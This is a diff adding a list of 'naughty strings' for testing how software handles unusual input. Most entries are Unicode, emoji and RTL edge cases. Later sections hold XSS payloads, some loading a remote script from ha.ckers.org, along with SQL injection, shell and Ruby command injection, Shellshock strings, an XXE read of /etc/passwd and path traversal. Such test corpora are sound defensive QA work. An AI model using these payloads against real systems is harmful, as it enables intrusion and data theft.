+­؀؁؂؃؄؅؜۝܏᠎​‌‍‎‏‪‫‬‭‮⁠⁡⁢⁣⁤⁦⁧⁨⁩𑂽𛲠𛲡𛲢𛲣𝅳𝅴𝅵𝅶𝅷𝅸𝅹𝅺󠀁󠀠󠀡󠀢󠀣󠀤󠀥󠀦󠀧󠀨󠀩󠀪󠀫󠀬󠀭󠀮󠀯󠀰󠀱󠀲󠀳󠀴󠀵󠀶󠀷󠀸󠀹󠀺󠀻󠀼󠀽󠀾󠀿󠁀󠁁󠁂󠁃󠁄󠁅󠁆󠁇󠁈󠁉󠁊󠁋󠁌󠁍󠁎󠁏󠁐󠁑󠁒󠁓󠁔󠁕󠁖󠁗󠁘󠁙󠁚󠁛󠁜󠁝󠁞󠁟󠁠󠁡󠁢󠁣󠁤󠁥󠁦󠁧󠁨󠁩󠁪󠁫󠁬󠁭󠁮󠁯󠁰󠁱󠁲󠁳󠁴󠁵󠁶󠁷󠁸󠁹󠁺󠁻󠁼󠁽󠁾󠁿
+
+# "Byte order marks", U+FEFF and U+FFFE, each on its own line.
+# The next two lines may appear to be blank or mojibake in some viewers.
+
+￾
+
+#	Unicode Symbols
+#
+#	Strings which contain common unicode symbols (e.g. smart quotes)
+
+Ω≈ç√∫˜µ≤≥÷
+åß∂ƒ©˙∆˚¬…æ
+œ∑´®†¥¨ˆøπ“‘
+¡™£¢∞§¶•ªº–≠
+¸˛Ç◊ı˜Â¯˘¿
+ÅÍÎÏ˝ÓÔÒÚÆ☃
+Œ„´‰ˇÁ¨ˆØ∏”’
+`⁄€‹›fifl‡°·‚—±
+⅛⅜⅝⅞
+ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
+٠١٢٣٤٥٦٧٨٩
+
+#	Unicode Subscript/Superscript/Accents
+#
+#	Strings which contain unicode subscripts/superscripts; can cause rendering issues
+
+⁰⁴⁵
+₀₁₂
+⁰⁴⁵₀₁₂
+ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็
+
+#	Quotation Marks
+#
+#	Strings which contain misplaced quotation marks; can cause encoding errors
+
+'
+"
+''
+""
+'"'
+"''''"'"
+"'"'"''''"
+<foo val=“bar” />
+<foo val=“bar” />
+<foo val=”bar“ />
+<foo val=`bar' />
+
+#	Two-Byte Characters
+#
+#	Strings which contain two-byte characters: can cause rendering issues or character-length issues
+
+田中さんにあげて下さい
+パーティーへ行かないか
+和製漢語
+部落格
+사회과학원 어학연구소
+찦차를 타고 온 펲시맨과 쑛다리 똠방각하
+社會科學院語學研究所
+울란바토르
+𠜎𠜱𠝹𠱓𠱸𠲖𠳏
+
+#	Special Unicode Characters Union
+#
+#	A super string recommended by VMware Inc. Globalization Team: can effectively cause rendering issues or character-length issues to validate product globalization readiness.
+#
+#	表          CJK_UNIFIED_IDEOGRAPHS (U+8868)
+#	ポ          KATAKANA LETTER PO (U+30DD)
+#	あ          HIRAGANA LETTER A (U+3042)
+#	A           LATIN CAPITAL LETTER A (U+0041)
+#	鷗          CJK_UNIFIED_IDEOGRAPHS (U+9DD7)
+#	Œ           LATIN SMALL LIGATURE OE (U+0153) 
+#	é           LATIN SMALL LETTER E WITH ACUTE (U+00E9)
+#	B           FULLWIDTH LATIN CAPITAL LETTER B (U+FF22)
+#	逍          CJK_UNIFIED_IDEOGRAPHS (U+900D)
+#	Ü           LATIN SMALL LETTER U WITH DIAERESIS (U+00FC)
+#	ß           LATIN SMALL LETTER SHARP S (U+00DF)
+#	ª           FEMININE ORDINAL INDICATOR (U+00AA)
+#	ą           LATIN SMALL LETTER A WITH OGONEK (U+0105)
+#	ñ           LATIN SMALL LETTER N WITH TILDE (U+00F1)
+#	丂          CJK_UNIFIED_IDEOGRAPHS (U+4E02)
+#	㐀          CJK Ideograph Extension A, First (U+3400)
+#	𠀀          CJK Ideograph Extension B, First (U+20000)
+
+表ポあA鷗ŒéB逍Üߪąñ丂㐀𠀀
+
+#	Changing length when lowercased
+#
+#	Characters which increase in length (2 to 3 bytes) when lowercased
+#	Credit: https://twitter.com/jifa/status/625776454479970304
+
+Ⱥ
+Ⱦ
+
+#	Japanese Emoticons
+#
+#	Strings which consists of Japanese-style emoticons which are popular on the web
+
+ヽ༼ຈل͜ຈ༽ノ ヽ༼ຈل͜ຈ༽ノ
+(。◕ ∀ ◕。)
+`ィ(´∀`∩
+__ロ(,_,*)
+・( ̄∀ ̄)・:*:
+゚・✿ヾ╲(。◕‿◕。)╱✿・゚
+,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
+(╯°□°)╯︵ ┻━┻)
+(ノಥ益ಥ)ノ ┻━┻
+┬─┬ノ( º _ ºノ)
+( ͡° ͜ʖ ͡°)
+¯\_(ツ)_/¯
+
+#	Emoji
+#
+#	Strings which contain Emoji; should be the same behavior as two-byte characters, but not always
+
+😍
+👩🏽
+👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
+🐵 🙈 🙉 🙊
+❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
+✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
+🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
+0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
+
+#       Regional Indicator Symbols
+#
+#       Regional Indicator Symbols can be displayed differently across
+#       fonts, and have a number of special behaviors
+
+🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
+🇺🇸🇷🇺🇸🇦🇫🇦🇲
+🇺🇸🇷🇺🇸🇦
+
+#	Unicode Numbers
+#
+#	Strings which contain unicode numbers; if the code is localized, it should see the input as numeric
+
+123
+١٢٣
+
+#	Right-To-Left Strings
+#
+#	Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew)
+
+ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
+בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
+הָיְתָהtestالصفحات التّحول
+﷽
+ﷺ
+مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ، 
+
+#	Trick Unicode
+#
+#	Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)
+
+‪‪test‪
+‫test‫
+
test

+test⁠test‫
+⁦test⁧
+
+#	Zalgo Text
+#
+#	Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)
+
+Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
+̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
+̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
+̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
+Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
+
+#	Unicode Upsidedown
+#
+#	Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com)
+
+˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
+00˙Ɩ$-
+
+#	Unicode font
+#
+#	Strings which contain bold/italic/etc. versions of normal characters
+
+The quick brown fox jumps over the lazy dog
+𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
+𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
+𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
+𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
+𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
+𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
+⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
+
+#	Script Injection
+#
+#	Strings which attempt to invoke a benign script injection; shows vulnerability to XSS
+
+<script>alert(123)</script>
+&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
+<img src=x onerror=alert(123) />
+<svg><script>123<1>alert(123)</script>
+"><script>alert(123)</script>
+'><script>alert(123)</script>
+><script>alert(123)</script>
+</script><script>alert(123)</script>
+< / script >< script >alert(123)< / script >
+ onfocus=JaVaSCript:alert(123) autofocus
+" onfocus=JaVaSCript:alert(123) autofocus
+' onfocus=JaVaSCript:alert(123) autofocus
+<script>alert(123)</script>
+<sc<script>ript>alert(123)</sc</script>ript>
+--><script>alert(123)</script>
+";alert(123);t="
+';alert(123);t='
+JavaSCript:alert(123)
+;alert(123);
+src=JaVaSCript:prompt(132)
+"><script>alert(123);</script x="
+'><script>alert(123);</script x='
+><script>alert(123);</script x=
+" autofocus onkeyup="javascript:alert(123)
+' autofocus onkeyup='javascript:alert(123)
+<script\x20type="text/javascript">javascript:alert(1);</script>
+<script\x3Etype="text/javascript">javascript:alert(1);</script>
+<script\x0Dtype="text/javascript">javascript:alert(1);</script>
+<script\x09type="text/javascript">javascript:alert(1);</script>
+<script\x0Ctype="text/javascript">javascript:alert(1);</script>
+<script\x2Ftype="text/javascript">javascript:alert(1);</script>
+<script\x0Atype="text/javascript">javascript:alert(1);</script>
+'`"><\x3Cscript>javascript:alert(1)</script>
+'`"><\x00script>javascript:alert(1)</script>
+ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
+ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
+ABC<div style="x:expression\x00(javascript:alert(1)">DEF
+ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
+ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
+ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
+ABC<div style="x:\x09expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
+ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
+ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
+ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
+ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
+ABC<div style="x:\x20expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
+ABC<div style="x:\x00expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
+ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
+ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
+<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
+<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
+`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
+`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
+`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
+`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
+`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
+`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
+`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
+`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
+`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
+`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
+"`'><script>\x3Bjavascript:alert(1)</script>
+"`'><script>\x0Djavascript:alert(1)</script>
+"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
+"`'><script>\xE2\x80\x81javascript:alert(1)</script>
+"`'><script>\xE2\x80\x84javascript:alert(1)</script>
+"`'><script>\xE3\x80\x80javascript:alert(1)</script>
+"`'><script>\x09javascript:alert(1)</script>
+"`'><script>\xE2\x80\x89javascript:alert(1)</script>
+"`'><script>\xE2\x80\x85javascript:alert(1)</script>
+"`'><script>\xE2\x80\x88javascript:alert(1)</script>
+"`'><script>\x00javascript:alert(1)</script>
+"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
+"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
+"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
+"`'><script>\x0Cjavascript:alert(1)</script>
+"`'><script>\x2Bjavascript:alert(1)</script>
+"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
+"`'><script>-javascript:alert(1)</script>
+"`'><script>\x0Ajavascript:alert(1)</script>
+"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
+"`'><script>\x7Ejavascript:alert(1)</script>
+"`'><script>\xE2\x80\x87javascript:alert(1)</script>
+"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
+"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
+"`'><script>\xC2\x85javascript:alert(1)</script>
+"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
+"`'><script>\xE2\x80\x83javascript:alert(1)</script>
+"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
+"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
+"`'><script>\xE2\x80\x80javascript:alert(1)</script>
+"`'><script>\x21javascript:alert(1)</script>
+"`'><script>\xE2\x80\x82javascript:alert(1)</script>
+"`'><script>\xE2\x80\x86javascript:alert(1)</script>
+"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
+"`'><script>\x0Bjavascript:alert(1)</script>
+"`'><script>\x20javascript:alert(1)</script>
+"`'><script>\xC2\xA0javascript:alert(1)</script>
+<img \x00src=x onerror="alert(1)">
+<img \x47src=x onerror="javascript:alert(1)">
+<img \x11src=x onerror="javascript:alert(1)">
+<img \x12src=x onerror="javascript:alert(1)">
+<img\x47src=x onerror="javascript:alert(1)">
+<img\x10src=x onerror="javascript:alert(1)">
+<img\x13src=x onerror="javascript:alert(1)">
+<img\x32src=x onerror="javascript:alert(1)">
+<img\x47src=x onerror="javascript:alert(1)">
+<img\x11src=x onerror="javascript:alert(1)">
+<img \x47src=x onerror="javascript:alert(1)">
+<img \x34src=x onerror="javascript:alert(1)">
+<img \x39src=x onerror="javascript:alert(1)">
+<img \x00src=x onerror="javascript:alert(1)">
+<img src\x09=x onerror="javascript:alert(1)">
+<img src\x10=x onerror="javascript:alert(1)">
+<img src\x13=x onerror="javascript:alert(1)">
+<img src\x32=x onerror="javascript:alert(1)">
+<img src\x12=x onerror="javascript:alert(1)">
+<img src\x11=x onerror="javascript:alert(1)">
+<img src\x00=x onerror="javascript:alert(1)">
+<img src\x47=x onerror="javascript:alert(1)">
+<img src=x\x09onerror="javascript:alert(1)">
+<img src=x\x10onerror="javascript:alert(1)">
+<img src=x\x11onerror="javascript:alert(1)">
+<img src=x\x12onerror="javascript:alert(1)">
+<img src=x\x13onerror="javascript:alert(1)">
+<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
+<img src=x onerror=\x09"javascript:alert(1)">
+<img src=x onerror=\x10"javascript:alert(1)">
+<img src=x onerror=\x11"javascript:alert(1)">
+<img src=x onerror=\x12"javascript:alert(1)">
+<img src=x onerror=\x32"javascript:alert(1)">
+<img src=x onerror=\x00"javascript:alert(1)">
+<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
+<img src="x` `<script>javascript:alert(1)</script>"` `>
+<img src onerror /" '"= alt=javascript:alert(1)//">
+<title onpropertychange=javascript:alert(1)></title><title title=>
+<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
+<!--[if]><script>javascript:alert(1)</script -->
+<!--[if<img src=x onerror=javascript:alert(1)//]> -->
+<script src="/\%(jscript)s"></script>
+<script src="\\%(jscript)s"></script>
+<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
+<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+<IMG SRC=# onmouseover="alert('xxs')">
+<IMG SRC= onmouseover="alert('xxs')">
+<IMG onmouseover="alert('xxs')">
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
+<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+<IMG SRC="jav   ascript:alert('XSS');">
+<IMG SRC="jav&#x09;ascript:alert('XSS');">
+<IMG SRC="jav&#x0A;ascript:alert('XSS');">
+<IMG SRC="jav&#x0D;ascript:alert('XSS');">
+perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
+<IMG SRC=" &#14;  javascript:alert('XSS');">
+<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
+<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+<<SCRIPT>alert("XSS");//<</SCRIPT>
+<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
+<SCRIPT SRC=//ha.ckers.org/.j>
+<IMG SRC="javascript:alert('XSS')"
+<iframe src=http://ha.ckers.org/scriptlet.html <
+\";alert('XSS');//
+<u oncopy=alert()> Copy me</u>
+<i onwheel=alert(1)> Scroll over me </i>
+<plaintext>
+http://a/%%30%30
+</textarea><script>alert(123)</script>
+
+#	SQL Injection
+#
+#	Strings which can cause a SQL injection if inputs are not sanitized
+
+1;DROP TABLE users
+1'; DROP TABLE users-- 1
+' OR 1=1 -- 1
+' OR '1'='1
+ 
+%
+_
+
+#	Server Code Injection
+#
+#	Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)
+
+-
+--
+--version
+--help
+$USER
+/dev/null; touch /tmp/blns.fail ; echo
+`touch /tmp/blns.fail`
+$(touch /tmp/blns.fail)
+@{[system "touch /tmp/blns.fail"]}
+
+#	Command Injection (Ruby)
+#
+#	Strings which can call system commands within Ruby/Rails applications
+
+eval("puts 'hello world'")
+System("ls -al /")
+`ls -al /`
+Kernel.exec("ls -al /")
+Kernel.exit(1)
+%x('ls -al /')
+
+#      XXE Injection (XML)
+#
+#	String which can reveal system files when parsed by a badly configured XML parser
+
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
+
+#	Unwanted Interpolation
+#
+#	Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.
+
+$HOME
+$ENV{'HOME'}
+%d
+%s%s%s%s%s
+{0}
+%*.*s
+%@
+%n
+File:///
+
+#	File Inclusion
+#
+#	Strings which can cause user to pull in files that should not be a part of a web server
+
+../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../etc/hosts
+
+#	Known CVEs and Vulnerabilities
+#
+#	Strings that test for known vulnerabilities
+
+() { 0; }; touch /tmp/blns.shellshock1.fail;
+() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
+<<< %s(un='%s') = %u
++++ATH0
+
+#	MSDOS/Windows Special Filenames
+#
+#	Strings which are reserved characters in MSDOS/Windows
+
+CON
+PRN
+AUX
+CLOCK$
+NUL
